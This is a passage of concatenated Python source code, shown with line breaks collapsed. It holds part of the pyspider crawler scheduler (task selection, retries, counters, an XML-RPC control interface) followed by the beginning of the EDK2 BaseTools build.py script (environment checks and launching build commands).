'''Check new task queue''' tasks = {} while len(tasks) < self.LOOP_LIMIT: try: task = self.newtask_queue.get_nowait() except Queue.Empty: break if isinstance(task, list): _tasks = task else: _tasks = (task, ) for task in _tasks: if not self.task_verify(task): continue if task['taskid'] in self.task_queue[task['project']]: if not task.get('schedule', {}).get('force_update', False): logger.debug('ignore newtask %(project)s:%(taskid)s %(url)s', task) continue if task['taskid'] in tasks: if not task.get('schedule', {}).get('force_update', False): continue tasks[task['taskid']] = task for task in itervalues(tasks): self.on_request(task) return len(tasks) def _check_cronjob(self): """Check projects cronjob tick, return True when a new tick is sended""" now = time.time() self._last_tick = int(self._last_tick) if now - self._last_tick < 1: return False self._last_tick += 1 for project in itervalues(self.projects): if project['status'] not in ('DEBUG', 'RUNNING'): continue if project.get('min_tick', 0) == 0: continue if self._last_tick % int(project['min_tick']) != 0: continue self.on_select_task({ 'taskid': '_on_cronjob', 'project': project['name'], 'url': 'data:,_on_cronjob', 'status': self.taskdb.SUCCESS, 'fetch': { 'save': { 'tick': self._last_tick, }, }, 'process': { 'callback': '_on_cronjob', }, }) return True request_task_fields = [ 'taskid', 'project', 'url', 'status', 'schedule', 'fetch', 'process', 'track', 'lastcrawltime' ] def _check_select(self): '''Select task to fetch & process''' while self._send_buffer: _task = self._send_buffer.pop() try: # use force=False here to prevent automatic send_buffer append and get exception self.send_task(_task, False) except Queue.Full: self._send_buffer.append(_task) break if self.out_queue.full(): return {} taskids = [] cnt = 0 cnt_dict = dict() limit = self.LOOP_LIMIT for project, task_queue in iteritems(self.task_queue): if cnt >= limit: break # task queue self.task_queue[project].check_update() project_cnt = 0 # check send_buffer here. when not empty, out_queue may blocked. Not sending tasks while cnt < limit and project_cnt < limit / 10: taskid = task_queue.get() if not taskid: break taskids.append((project, taskid)) project_cnt += 1 cnt += 1 cnt_dict[project] = project_cnt if project_cnt: self._sent_finished_event[project] = 'need' # check and send finished event to project elif len(task_queue) == 0 and self._sent_finished_event.get(project) == 'need': self._sent_finished_event[project] = 'sent' self.on_select_task({ 'taskid': 'on_finished', 'project': project, 'url': 'data:,on_finished', 'status': self.taskdb.SUCCESS, 'process': { 'callback': 'on_finished', }, }) for project, taskid in taskids: self._load_put_task(project, taskid) return cnt_dict def _load_put_task(self, project, taskid): task = self.taskdb.get_task(project, taskid, fields=self.request_task_fields) if not task: return task = self.on_select_task(task) def _print_counter_log(self): # print top 5 active counters keywords = ('pending', 'success', 'retry', 'failed') total_cnt = {} project_actives = [] project_fails = [] for key in keywords: total_cnt[key] = 0 for project, subcounter in iteritems(self._cnt['5m']): actives = 0 for key in keywords: cnt = subcounter.get(key, None) if cnt: cnt = cnt.sum total_cnt[key] += cnt actives += cnt project_actives.append((actives, project)) fails = subcounter.get('failed', None) if fails: project_fails.append((fails.sum, project)) top_2_fails = sorted(project_fails, reverse=True)[:2] top_3_actives = sorted([x for x in project_actives if x[1] not in top_2_fails], reverse=True)[:5 - len(top_2_fails)] log_str = ("in 5m: new:%(pending)d,success:%(success)d," "retry:%(retry)d,failed:%(failed)d" % total_cnt) for _, project in itertools.chain(top_3_actives, top_2_fails): subcounter = self._cnt['5m'][project].to_dict(get_value='sum') log_str += " %s:%d,%d,%d,%d" % (project, subcounter.get('pending', 0), subcounter.get('success', 0), subcounter.get('retry', 0), subcounter.get('failed', 0)) logger.info(log_str) def _dump_cnt(self): '''Dump counters to file''' self._cnt['1h'].dump(os.path.join(self.data_path, 'scheduler.1h')) self._cnt['1d'].dump(os.path.join(self.data_path, 'scheduler.1d')) self._cnt['all'].dump(os.path.join(self.data_path, 'scheduler.all')) def _try_dump_cnt(self): '''Dump counters every 60 seconds''' now = time.time() if now - self._last_dump_cnt > 60: self._last_dump_cnt = now self._dump_cnt() self._print_counter_log() def _check_delete(self): '''Check project delete''' now = time.time() for project in list(itervalues(self.projects)): if project['status'] != 'STOP': continue if now - project['updatetime'] < self.DELETE_TIME: continue if 'delete' not in self.projectdb.split_group(project['group']): continue logger.warning("deleting project: %s!", project['name']) if project['name'] in self.task_queue: self.task_queue[project['name']].rate = 0 self.task_queue[project['name']].burst = 0 del self.task_queue[project['name']] del self.projects[project['name']] self.taskdb.drop(project['name']) self.projectdb.drop(project['name']) if self.resultdb: self.resultdb.drop(project['name']) for each in self._cnt.values(): del each[project['name']] def __len__(self): return sum(len(x) for x in itervalues(self.task_queue)) def quit(self): '''Set quit signal''' self._quit = True # stop xmlrpc server if hasattr(self, 'xmlrpc_server'): self.xmlrpc_ioloop.add_callback(self.xmlrpc_server.stop) self.xmlrpc_ioloop.add_callback(self.xmlrpc_ioloop.stop) def run_once(self): '''comsume queues and feed tasks to fetcher, once''' self._update_projects() self._check_task_done() self._check_request() while self._check_cronjob(): pass self._check_select() self._check_delete() self._try_dump_cnt() def run(self): '''Start scheduler loop''' logger.info("loading projects") while not self._quit: try: time.sleep(self.LOOP_INTERVAL) self.run_once() self._exceptions = 0 except KeyboardInterrupt: break except Exception as e: logger.exception(e) self._exceptions += 1 if self._exceptions > self.EXCEPTION_LIMIT: break continue logger.info("scheduler exiting...") self._dump_cnt() def trigger_on_start(self, project): '''trigger an on_start callback of project''' self.newtask_queue.put({ "project": project, "taskid": "on_start", "url": "data:,on_start", "process": { "callback": "on_start", }, }) def xmlrpc_run(self, port=23333, bind='127.0.0.1', logRequests=False): '''Start xmlrpc interface''' from pyspider.libs.wsgi_xmlrpc import WSGIXMLRPCApplication application = WSGIXMLRPCApplication() application.register_function(self.quit, '_quit') application.register_function(self.__len__, 'size') def dump_counter(_time, _type): try: return self._cnt[_time].to_dict(_type) except: logger.exception('') application.register_function(dump_counter, 'counter') def new_task(task): if self.task_verify(task): self.newtask_queue.put(task) return True return False application.register_function(new_task, 'newtask') def send_task(task): '''dispatch task to fetcher''' self.send_task(task) return True application.register_function(send_task, 'send_task') def update_project(): self._force_update_project = True application.register_function(update_project, 'update_project') def get_active_tasks(project=None, limit=100): allowed_keys = set(( 'taskid', 'project', 'status', 'url', 'lastcrawltime', 'updatetime', 'track', )) track_allowed_keys = set(( 'ok', 'time', 'follows', 'status_code', )) iters = [iter(x['active_tasks']) for k, x in iteritems(self.projects) if x and (k == project if project else True)] tasks = [next(x, None) for x in iters] result = [] while len(result) < limit and tasks and not all(x is None for x in tasks): updatetime, task = t = max(t for t in tasks if t) i = tasks.index(t) tasks[i] = next(iters[i], None) for key in list(task): if key == 'track': for k in list(task[key].get('fetch', [])): if k not in track_allowed_keys: del task[key]['fetch'][k] for k in list(task[key].get('process', [])): if k not in track_allowed_keys: del task[key]['process'][k] if key in allowed_keys: continue del task[key] result.append(t) # fix for "<type 'exceptions.TypeError'>:dictionary key must be string" # have no idea why return json.loads(json.dumps(result)) application.register_function(get_active_tasks, 'get_active_tasks') import tornado.wsgi import tornado.ioloop import tornado.httpserver container = tornado.wsgi.WSGIContainer(application) self.xmlrpc_ioloop = tornado.ioloop.IOLoop() self.xmlrpc_server = tornado.httpserver.HTTPServer(container, io_loop=self.xmlrpc_ioloop) self.xmlrpc_server.listen(port=port, address=bind) self.xmlrpc_ioloop.start() def on_request(self, task): if self.INQUEUE_LIMIT and len(self.task_queue[task['project']]) >= self.INQUEUE_LIMIT: logger.debug('overflow task %(project)s:%(taskid)s %(url)s', task) return oldtask = self.taskdb.get_task(task['project'], task['taskid'], fields=self.merge_task_fields) if oldtask: return self.on_old_request(task, oldtask) else: return self.on_new_request(task) def on_new_request(self, task): '''Called when a new request is arrived''' task['status'] = self.taskdb.ACTIVE self.insert_task(task) self.put_task(task) project = task['project'] self._cnt['5m'].event((project, 'pending'), +1) self._cnt['1h'].event((project, 'pending'), +1) self._cnt['1d'].event((project, 'pending'), +1) self._cnt['all'].event((project, 'pending'), +1) logger.info('new task %(project)s:%(taskid)s %(url)s', task) return task def on_old_request(self, task, old_task): '''Called when a crawled task is arrived''' now = time.time() _schedule = task.get('schedule', self.default_schedule) old_schedule = old_task.get('schedule', {}) restart = False schedule_age = _schedule.get('age', self.default_schedule['age']) if _schedule.get('itag') and _schedule['itag'] != old_schedule.get('itag'): restart = True elif schedule_age >= 0 and schedule_age + (old_task.get('lastcrawltime', 0) or 0) < now: restart = True elif _schedule.get('force_update'): restart = True if not restart: logger.debug('ignore newtask %(project)s:%(taskid)s %(url)s', task) return task['status'] = self.taskdb.ACTIVE self.update_task(task) self.put_task(task) project = task['project'] if old_task['status'] != self.taskdb.ACTIVE: self._cnt['5m'].event((project, 'pending'), +1) self._cnt['1h'].event((project, 'pending'), +1) self._cnt['1d'].event((project, 'pending'), +1) if old_task['status'] == self.taskdb.SUCCESS: self._cnt['all'].event((project, 'success'), -1).event((project, 'pending'), +1) elif old_task['status'] == self.taskdb.FAILED: self._cnt['all'].event((project, 'failed'), -1).event((project, 'pending'), +1) logger.info('restart task %(project)s:%(taskid)s %(url)s', task) return task def on_task_status(self, task): '''Called when a status pack is arrived''' try: procesok = task['track']['process']['ok'] if not self.task_queue[task['project']].done(task['taskid']): logging.error('not processing pack: %(project)s:%(taskid)s %(url)s', task) return None except KeyError as e: logger.error("Bad status pack: %s", e) return None if procesok: ret = self.on_task_done(task) else: ret = self.on_task_failed(task) if task['track']['fetch'].get('time'): self._cnt['5m_time'].event((task['project'], 'fetch_time'), task['track']['fetch']['time']) if task['track']['process'].get('time'): self._cnt['5m_time'].event((task['project'], 'process_time'), task['track']['process'].get('time')) self.projects[task['project']]['active_tasks'].appendleft((time.time(), task)) return ret def on_task_done(self, task): '''Called when a task is done and success, called by `on_task_status`''' task['status'] = self.taskdb.SUCCESS task['lastcrawltime'] = time.time() if 'schedule' in task: if task['schedule'].get('auto_recrawl') and 'age' in task['schedule']: task['status'] = self.taskdb.ACTIVE next_exetime = task['schedule'].get('age') task['schedule']['exetime'] = time.time() + next_exetime self.put_task(task) else: del task['schedule'] self.update_task(task) project = task['project'] self._cnt['5m'].event((project, 'success'), +1) self._cnt['1h'].event((project, 'success'), +1) self._cnt['1d'].event((project, 'success'), +1) self._cnt['all'].event((project, 'success'), +1).event((project, 'pending'), -1) logger.info('task done %(project)s:%(taskid)s %(url)s', task) return task def on_task_failed(self, task): '''Called when a task is failed, called by `on_task_status`''' if 'schedule' not in task: old_task = self.taskdb.get_task(task['project'], task['taskid'], fields=['schedule']) if old_task is None: logging.error('unknown status pack: %s' % task) return task['schedule'] = old_task.get('schedule', {}) retries = task['schedule'].get('retries', self.default_schedule['retries']) retried = task['schedule'].get('retried', 0) project_info = self.projects.get(task['project'], {}) retry_delay = project_info.get('retry_delay', None) or self.DEFAULT_RETRY_DELAY next_exetime = retry_delay.get(retried, retry_delay.get('', self.DEFAULT_RETRY_DELAY[''])) if task['schedule'].get('auto_recrawl') and 'age' in task['schedule']: next_exetime = min(next_exetime, task['schedule'].get('age')) else: if retried >= retries: next_exetime = -1 elif 'age' in task['schedule'] and next_exetime > task['schedule'].get('age'): next_exetime = task['schedule'].get('age') if next_exetime < 0: task['status'] = self.taskdb.FAILED task['lastcrawltime'] = time.time() self.update_task(task) project = task['project'] self._cnt['5m'].event((project, 'failed'), +1) self._cnt['1h'].event((project, 'failed'), +1) self._cnt['1d'].event((project, 'failed'), +1) self._cnt['all'].event((project, 'failed'), +1).event((project, 'pending'), -1) logger.info('task failed %(project)s:%(taskid)s %(url)s' % task) return task else: task['schedule']['retried'] = retried + 1 task['schedule']['exetime'] = time.time() + next_exetime task['lastcrawltime'] = time.time() self.update_task(task) self.put_task(task) project = task['project'] self._cnt['5m'].event((project, 'retry'), +1) self._cnt['1h'].event((project, 'retry'), +1) self._cnt['1d'].event((project, 'retry'), +1) # self._cnt['all'].event((project, 'retry'), +1) logger.info('task retry %d/%d %%(project)s:%%(taskid)s %%(url)s' % ( retried, retries), task) return task def on_select_task(self, task): '''Called when a task is selected to fetch & process''' # inject informations about project logger.info('select %(project)s:%(taskid)s %(url)s', task) project_info = self.projects.get(task['project']) assert project_info, 'no such project' task['group'] = project_info.get('group') task['project_md5sum'] = project_info.get('md5sum') task['project_updatetime'] = project_info.get('updatetime', 0) project_info['active_tasks'].appendleft((time.time(), task)) self.send_task(task) return task from tornado import gen class OneScheduler(Scheduler): """ Scheduler Mixin class for one mode overwirted send_task method call processor.on_task(fetcher.fetch(task)) instead of consuming queue """ def _check_select(self): """ interactive mode of select tasks """ if not self.interactive: return super(OneScheduler, self)._check_select() # waiting for running tasks if self.running_task > 0: return is_crawled = [] def run(project=None): return crawl('on_start', project=project) def crawl(url, project=None, **kwargs): """ Crawl given url, same parameters as BaseHandler.crawl url - url or taskid, parameters will be used if in taskdb project - can be ignored if only one project exists. """ # looking up the project instance if project is None: if len(self.projects) == 1: project = list(self.projects.keys())[0] else: raise LookupError('You need specify the project: %r' % list(self.projects.keys())) project_data = self.processor.project_manager.get(project) if not project_data: raise LookupError('no such project: %s' % project) # get task package instance = project_data['instance'] instance._reset() task = instance.crawl(url, **kwargs) if isinstance(task, list): raise Exception('url list is not allowed in interactive mode') # check task in taskdb if not kwargs: dbtask = self.taskdb.get_task(task['project'], task['taskid'], fields=self.request_task_fields) if not dbtask: dbtask = self.taskdb.get_task(task['project'], task['url'], fields=self.request_task_fields) if dbtask: task = dbtask # select the task self.on_select_task(task) is_crawled.append(True) shell.ask_exit() def quit_interactive(): '''Quit interactive mode''' is_crawled.append(True) self.interactive = False shell.ask_exit() def quit_pyspider(): '''Close pyspider''' is_crawled[:] = [] shell.ask_exit() shell = utils.get_python_console() shell.interact( 'pyspider shell - Select task\n' 'crawl(url, project=None, **kwargs) - same parameters as BaseHandler.crawl\n' 'quit_interactive() - Quit interactive mode\n' 'quit_pyspider() - Close pyspider' ) if not is_crawled: self.ioloop.add_callback(self.ioloop.stop) def __getattr__(self, name): """patch for crawl(url, callback=self.index_page) API""" if self.interactive: return name raise AttributeError(name) def on_task_status(self, task): """Ignore not processing error in interactive mode""" if not self.interactive: super(OneScheduler, self).on_task_status(task) try: procesok = task['track']['process']['ok'] except KeyError as e: logger.error("Bad status pack: %s", e) return None if procesok: ret = self.on_task_done(task) else: ret = self.on_task_failed(task) if task['track']['fetch'].get('time'): self._cnt['5m_time'].event((task['project'], 'fetch_time'), task['track']['fetch']['time']) if task['track']['process'].get('time'): self._cnt['5m_time'].event((task['project'], 'process_time'), task['track']['process'].get('time')) self.projects[task['project']]['active_tasks'].appendleft((time.time(), task)) return ret def init_one(self, ioloop, fetcher, processor, result_worker=None, interactive=False): self.ioloop = ioloop self.fetcher = fetcher self.processor = processor self.result_worker = result_worker self.interactive = interactive self.running_task = 0 @gen.coroutine def do_task(self, task): self.running_task += 1 result = yield gen.Task(self.fetcher.fetch, task) type, task, response = result.args self.processor.on_task(task, response) # do with message while not self.processor.inqueue.empty(): _task, _response = self.processor.inqueue.get() self.processor.on_task(_task, _response) # do with results while not self.processor.result_queue.empty(): _task, _result = self.processor.result_queue.get() if self.result_worker: self.result_worker.on_result(_task, _result) self.running_task -= 1 def send_task(self, task, force=True): if self.fetcher.http_client.free_size() <= 0: if force: self._send_buffer.appendleft(task) else: raise self.outqueue.Full self.ioloop.add_future(self.do_task(task), lambda x: x.result()) def run(self): import tornado.ioloop tornado.ioloop.PeriodicCallback(self.run_once, 100, io_loop=self.ioloop).start() self.ioloop.start() def quit(self): self.ioloop.stop() logger.info("scheduler exiting...") import random import threading class ThreadBaseScheduler(Scheduler): def __init__(self, threads=4, *args, **kwargs): self.threads = threads self.local = threading.local() super(ThreadBaseScheduler, self).__init__(*args, **kwargs) self._taskdb = self.taskdb self._projectdb = self.projectdb self._resultdb = self.resultdb self.thread_objs = [] self.thread_queues = [] self._start_threads() assert len(self.thread_queues) > 0 @property def taskdb(self): if not hasattr(self.local, 'taskdb'): self.taskdb = self._taskdb.copy() return self.local.taskdb @taskdb.setter def taskdb(self, taskdb): self.local.taskdb = taskdb @property def projectdb(self): if not hasattr(self.local, 'projectdb'): self.projectdb = self._projectdb.copy() return self.local.projectdb @projectdb.setter def projectdb(self, projectdb): self.local.projectdb = projectdb @property def resultdb(self): if not hasattr(self.local, 'resultdb'): self.resultdb = self._resultdb.copy() return self.local.resultdb @resultdb.setter def resultdb(self, resultdb): self.local.resultdb = resultdb def _start_threads(self): for i in range(self.threads): queue = Queue.Queue() thread = threading.Thread(target=self._thread_worker, args=(queue, )) thread.daemon = True thread.start() self.thread_objs.append(thread) self.thread_queues.append(queue) def _thread_worker(self, queue): while True: method, args, kwargs = queue.get() try: method(*args, **kwargs) except Exception as e: logger.exception(e) def _run_in_thread(self, method, *args, **kwargs): i = kwargs.pop('_i', None) block = kwargs.pop('_block', False) if i is None: while True: for queue in self.thread_queues: if queue.empty(): break else: if block: time.sleep(0.1) continue else: queue = self.thread_queues[random.randint(0, len(self.thread_queues)-1)] break else: queue = self.thread_queues[i % len(self.thread_queues)] queue.put((method, args, kwargs)) if block: self._wait_thread() def _wait_thread(self): while True: if all(queue.empty() for queue in self.thread_queues): break time.sleep(0.1) def _update_project(self, project): self._run_in_thread(Scheduler._update_project, self, project) def on_task_status(self, task): i = hash(task['taskid']) self._run_in_thread(Scheduler.on_task_status, self, task, _i=i) def on_request(self, task): i = hash(task['taskid']) self._run_in_thread(Scheduler.on_request, self, task, _i=i) def _load_put_task(self, project, taskid): i = hash(taskid) self._run_in_thread(Scheduler._load_put_task, self, project, taskid, _i=i) def run_once(self): super(ThreadBaseScheduler, self).run_once() self._wait_thread()
build.py
## @file # build a platform or a module # # Copyright (c) 2014, Hewlett-Packard Development Company, L.P.<BR> # Copyright (c) 2007 - 2018, Intel Corporation. All rights reserved.<BR> # # This program and the accompanying materials # are licensed and made available under the terms and conditions of the BSD License # which accompanies this distribution. The full text of the license may be found at # http://opensource.org/licenses/bsd-license.php # # THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, # WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. # ## # Import Modules # import Common.LongFilePathOs as os import re from io import StringIO import sys import glob import time import platform import traceback import encodings.ascii import multiprocessing from struct import * from threading import * from optparse import OptionParser from subprocess import * from Common import Misc as Utils from Common.LongFilePathSupport import OpenLongFilePath as open from Common.LongFilePathSupport import LongFilePath from Common.TargetTxtClassObject import * from Common.ToolDefClassObject import * from Common.DataType import * from Common.BuildVersion import gBUILD_VERSION from AutoGen.AutoGen import * from Common.BuildToolError import * from Workspace.WorkspaceDatabase import * from Common.MultipleWorkspace import MultipleWorkspace as mws from BuildReport import BuildReport from GenPatchPcdTable.GenPatchPcdTable import * from PatchPcdValue.PatchPcdValue import * import Common.EdkLogger import Common.GlobalData as GlobalData from GenFds.GenFds import GenFds from collections import OrderedDict, defaultdict # Version and Copyright VersionNumber = "0.60" + ' ' + gBUILD_VERSION __version__ = "%prog Version " + VersionNumber __copyright__ = "Copyright (c) 2007 - 2018, Intel Corporation All rights reserved." ## standard targets of build command gSupportedTarget = ['all', 'genc', 'genmake', 'modules', 'libraries', 'fds', 'clean', 'cleanall', 'cleanlib', 'run'] ## build configuration file gBuildConfiguration = "target.txt" gToolsDefinition = "tools_def.txt" TemporaryTablePattern = re.compile(r'^_\d+_\d+_[a-fA-F0-9]+$') TmpTableDict = {} ## Check environment PATH variable to make sure the specified tool is found # # If the tool is found in the PATH, then True is returned # Otherwise, False is returned # def IsToolInPath(tool): if 'PATHEXT' in os.environ: extns = os.environ['PATHEXT'].split(os.path.pathsep) else: extns = ('',) for pathDir in os.environ['PATH'].split(os.path.pathsep): for ext in extns: if os.path.exists(os.path.join(pathDir, tool + ext)): return True return False ## Check environment variables # # Check environment variables that must be set for build. Currently they are # # WORKSPACE The directory all packages/platforms start from # EDK_TOOLS_PATH The directory contains all tools needed by the build # PATH $(EDK_TOOLS_PATH)/Bin/<sys> must be set in PATH # # If any of above environment variable is not set or has error, the build # will be broken. # def CheckEnvVariable(): # check WORKSPACE if "WORKSPACE" not in os.environ: EdkLogger.error("build", ATTRIBUTE_NOT_AVAILABLE, "Environment variable not found", ExtraData="WORKSPACE") WorkspaceDir = os.path.normcase(os.path.normpath(os.environ["WORKSPACE"])) if not os.path.exists(WorkspaceDir): EdkLogger.error("build", FILE_NOT_FOUND, "WORKSPACE doesn't exist", ExtraData=WorkspaceDir) elif ' ' in WorkspaceDir: EdkLogger.error("build", FORMAT_NOT_SUPPORTED, "No space is allowed in WORKSPACE path", ExtraData=WorkspaceDir) os.environ["WORKSPACE"] = WorkspaceDir # set multiple workspace PackagesPath = os.getenv("PACKAGES_PATH") mws.setWs(WorkspaceDir, PackagesPath) if mws.PACKAGES_PATH: for Path in mws.PACKAGES_PATH: if not os.path.exists(Path): EdkLogger.error("build", FILE_NOT_FOUND, "One Path in PACKAGES_PATH doesn't exist", ExtraData=Path) elif ' ' in Path: EdkLogger.error("build", FORMAT_NOT_SUPPORTED, "No space is allowed in PACKAGES_PATH", ExtraData=Path) # # Check EFI_SOURCE (Edk build convention). EDK_SOURCE will always point to ECP # if "ECP_SOURCE" not in os.environ: os.environ["ECP_SOURCE"] = mws.join(WorkspaceDir, GlobalData.gEdkCompatibilityPkg) if "EFI_SOURCE" not in os.environ: os.environ["EFI_SOURCE"] = os.environ["ECP_SOURCE"] if "EDK_SOURCE" not in os.environ: os.environ["EDK_SOURCE"] = os.environ["ECP_SOURCE"] # # Unify case of characters on case-insensitive systems # EfiSourceDir = os.path.normcase(os.path.normpath(os.environ["EFI_SOURCE"])) EdkSourceDir = os.path.normcase(os.path.normpath(os.environ["EDK_SOURCE"])) EcpSourceDir = os.path.normcase(os.path.normpath(os.environ["ECP_SOURCE"])) os.environ["EFI_SOURCE"] = EfiSourceDir os.environ["EDK_SOURCE"] = EdkSourceDir os.environ["ECP_SOURCE"] = EcpSourceDir os.environ["EDK_TOOLS_PATH"] = os.path.normcase(os.environ["EDK_TOOLS_PATH"]) if not os.path.exists(EcpSourceDir): EdkLogger.verbose("ECP_SOURCE = %s doesn't exist. Edk modules could not be built." % EcpSourceDir) elif ' ' in EcpSourceDir: EdkLogger.error("build", FORMAT_NOT_SUPPORTED, "No space is allowed in ECP_SOURCE path", ExtraData=EcpSourceDir) if not os.path.exists(EdkSourceDir): if EdkSourceDir == EcpSourceDir: EdkLogger.verbose("EDK_SOURCE = %s doesn't exist. Edk modules could not be built." % EdkSourceDir) else: EdkLogger.error("build", PARAMETER_INVALID, "EDK_SOURCE does not exist", ExtraData=EdkSourceDir) elif ' ' in EdkSourceDir: EdkLogger.error("build", FORMAT_NOT_SUPPORTED, "No space is allowed in EDK_SOURCE path", ExtraData=EdkSourceDir) if not os.path.exists(EfiSourceDir): if EfiSourceDir == EcpSourceDir: EdkLogger.verbose("EFI_SOURCE = %s doesn't exist. Edk modules could not be built." % EfiSourceDir) else: EdkLogger.error("build", PARAMETER_INVALID, "EFI_SOURCE does not exist", ExtraData=EfiSourceDir) elif ' ' in EfiSourceDir: EdkLogger.error("build", FORMAT_NOT_SUPPORTED, "No space is allowed in EFI_SOURCE path", ExtraData=EfiSourceDir) # check those variables on single workspace case if not PackagesPath: # change absolute path to relative path to WORKSPACE if EfiSourceDir.upper().find(WorkspaceDir.upper()) != 0: EdkLogger.error("build", PARAMETER_INVALID, "EFI_SOURCE is not under WORKSPACE", ExtraData="WORKSPACE = %s\n EFI_SOURCE = %s" % (WorkspaceDir, EfiSourceDir)) if EdkSourceDir.upper().find(WorkspaceDir.upper()) != 0: EdkLogger.error("build", PARAMETER_INVALID, "EDK_SOURCE is not under WORKSPACE", ExtraData="WORKSPACE = %s\n EDK_SOURCE = %s" % (WorkspaceDir, EdkSourceDir)) if EcpSourceDir.upper().find(WorkspaceDir.upper()) != 0: EdkLogger.error("build", PARAMETER_INVALID, "ECP_SOURCE is not under WORKSPACE", ExtraData="WORKSPACE = %s\n ECP_SOURCE = %s" % (WorkspaceDir, EcpSourceDir)) # check EDK_TOOLS_PATH if "EDK_TOOLS_PATH" not in os.environ: EdkLogger.error("build", ATTRIBUTE_NOT_AVAILABLE, "Environment variable not found", ExtraData="EDK_TOOLS_PATH") # check PATH if "PATH" not in os.environ: EdkLogger.error("build", ATTRIBUTE_NOT_AVAILABLE, "Environment variable not found", ExtraData="PATH") GlobalData.gWorkspace = WorkspaceDir GlobalData.gEfiSource = EfiSourceDir GlobalData.gEdkSource = EdkSourceDir GlobalData.gEcpSource = EcpSourceDir GlobalData.gGlobalDefines["WORKSPACE"] = WorkspaceDir GlobalData.gGlobalDefines["EFI_SOURCE"] = EfiSourceDir GlobalData.gGlobalDefines["EDK_SOURCE"] = EdkSourceDir GlobalData.gGlobalDefines["ECP_SOURCE"] = EcpSourceDir GlobalData.gGlobalDefines["EDK_TOOLS_PATH"] = os.environ["EDK_TOOLS_PATH"] ## Get normalized file path # # Convert the path to be local format, and remove the WORKSPACE path at the # beginning if the file path is given in full path. # # @param FilePath File path to be normalized # @param Workspace Workspace path which the FilePath will be checked against # # @retval string The normalized file path # def NormFile(FilePath, Workspace): # check if the path is absolute or relative if os.path.isabs(FilePath): FileFullPath = os.path.normpath(FilePath) else: FileFullPath = os.path.normpath(mws.join(Workspace, FilePath)) Workspace = mws.getWs(Workspace, FilePath) # check if the file path exists or not if not os.path.isfile(FileFullPath): EdkLogger.error("build", FILE_NOT_FOUND, ExtraData="\t%s (Please give file in absolute path or relative to WORKSPACE)" % FileFullPath) # remove workspace directory from the beginning part of the file path if Workspace[-1] in ["\\", "/"]: return FileFullPath[len(Workspace):] else: return FileFullPath[(len(Workspace) + 1):] ## Get the output of an external program # # This is the entrance method of thread reading output of an external program and # putting them in STDOUT/STDERR of current program. # # @param From The stream message read from # @param To The stream message put on # @param ExitFlag The flag used to indicate stopping reading # def ReadMessage(From, To, ExitFlag): while True: # read one line a time Line = From.readline() # empty string means "end" if Line is not None and Line != b"": To(Line.rstrip().decode(encoding='utf-8', errors='ignore')) else: break if ExitFlag.isSet(): break ## Launch an external program # # This method will call subprocess.Popen to execute an external program with # given options in specified directory. Because of the dead-lock issue during # redirecting output of the external program, threads are used to to do the # redirection work. # # @param Command A list or string containing the call of the program # @param WorkingDir The directory in which the program will be running # def LaunchCommand(Command, WorkingDir): BeginTime = time.time() # if working directory doesn't exist, Popen() will raise an exception if not os.path.isdir(WorkingDir): EdkLogger.error("build", FILE_NOT_FOUND, ExtraData=WorkingDir) # Command is used as the first Argument in following Popen(). # It could be a string or sequence. We find that if command is a string in following Popen(), # ubuntu may fail with an error message that the command is not found. # So here we may need convert command from string to list instance. if platform.system() != 'Windows': if not isinstance(Command, list): Command = Command.split() Command = ' '.join(Command) Proc = None EndOfProcedure = None try: # launch the command Proc = Popen(Command, stdout=PIPE, stderr=PIPE, env=os.environ, cwd=WorkingDir, bufsize=-1, shell=True) # launch two threads to read the STDOUT and STDERR EndOfProcedure = Event() EndOfProcedure.clear() if Proc.stdout: StdOutThread = Thread(target=ReadMessage, args=(Proc.stdout, EdkLogger.info, EndOfProcedure)) StdOutThread.setName("STDOUT-Redirector") StdOutThread.setDaemon(False) StdOutThread.start() if Proc.stderr: StdErrThread = Thread(target=ReadMessage, args=(Proc.stderr, EdkLogger.quiet, EndOfProcedure)) StdErrThread.setName("STDERR-Redirector") StdErrThread.setDaemon(False) StdErrThread.start() # waiting for program exit Proc.wait() except: # in case of aborting # terminate the threads redirecting the program output EdkLogger.quiet("(Python %s on %s) " % (platform.python_version(), sys.platform) + traceback.format_exc()) if EndOfProcedure is not None: EndOfProcedure.set() if Proc is None: if not isinstance(Command, type("")): Command = " ".join(Command) EdkLogger.error("build", COMMAND_FAILURE, "Failed to start command", ExtraData="%s [%s]" % (Command, WorkingDir)) if Proc.stdout: StdOutThread.join() if Proc.stderr: StdErrThread.join() # check the return code of the program if Proc.returncode != 0: if not isinstance(Command, type("")): Command = " ".join(Command) # print out the Response file and its content when make failure RespFile = os.path.join(WorkingDir, 'OUTPUT', 'respfilelist.txt') if os.path.isfile(RespFile): f = open(RespFile) RespContent = f.read() f.close() EdkLogger.info(RespContent) EdkLogger.error("build", COMMAND_FAILURE, ExtraData="%s [%s]" % (Command, WorkingDir)) return "%dms" % (int(round((time.time() - BeginTime) * 1000))) ## The smallest unit that can be built in multi-thread build mode # # This is the base class of build unit. The "Obj" parameter must provide # __str__(), __eq__() and __hash__() methods. Otherwise there could be build units # missing build. # # Currently the "Obj" should be only ModuleAutoGen or PlatformAutoGen objects. # class BuildUnit: ## The constructor # # @param self The object pointer # @param Obj The object the build is working on # @param Target The build target name, one of gSupportedTarget # @param Dependency The BuildUnit(s) which must be completed in advance # @param WorkingDir The directory build command starts in # def __init__(self, Obj, BuildCommand, Target, Dependency, WorkingDir="."): self.BuildObject = Obj self.Dependency = Dependency self.WorkingDir = WorkingDir self.Target = Target self.BuildCommand = BuildCommand if not BuildCommand: EdkLogger.error("build", OPTION_MISSING, "No build command found for this module. " "Please check your setting of %s_%s_%s_MAKE_PATH in Conf/tools_def.txt file." % (Obj.BuildTarget, Obj.ToolChain, Obj.Arch), ExtraData=str(Obj)) ## str() method # # It just returns the string representation of self.BuildObject # # @param self The object pointer # def __str__(self): return str(self.BuildObject) ## "==" operator method # # It just compares self.BuildObject with "Other". So self.BuildObject must # provide its own __eq__() method. # # @param self The object pointer # @param Other The other BuildUnit object compared to # def __eq__(self, Other): return Other and self.BuildObject == Other.BuildObject \ and Other.BuildObject \ and self.BuildObject.Arch == Other.BuildObject.Arch ## hash() method # # It just returns the hash value of self.BuildObject which must be hashable. # # @param self The object pointer # def __hash__(self): return hash(self.BuildObject) + hash(self.BuildObject.Arch) def __repr__(self): return repr(self.BuildObject) ## The smallest module unit that can be built by nmake/make command in multi-thread build mode # # This class is for module build by nmake/make build system. The "Obj" parameter # must provide __str__(), __eq__() and __hash__() methods. Otherwise there could # be make units missing build. # 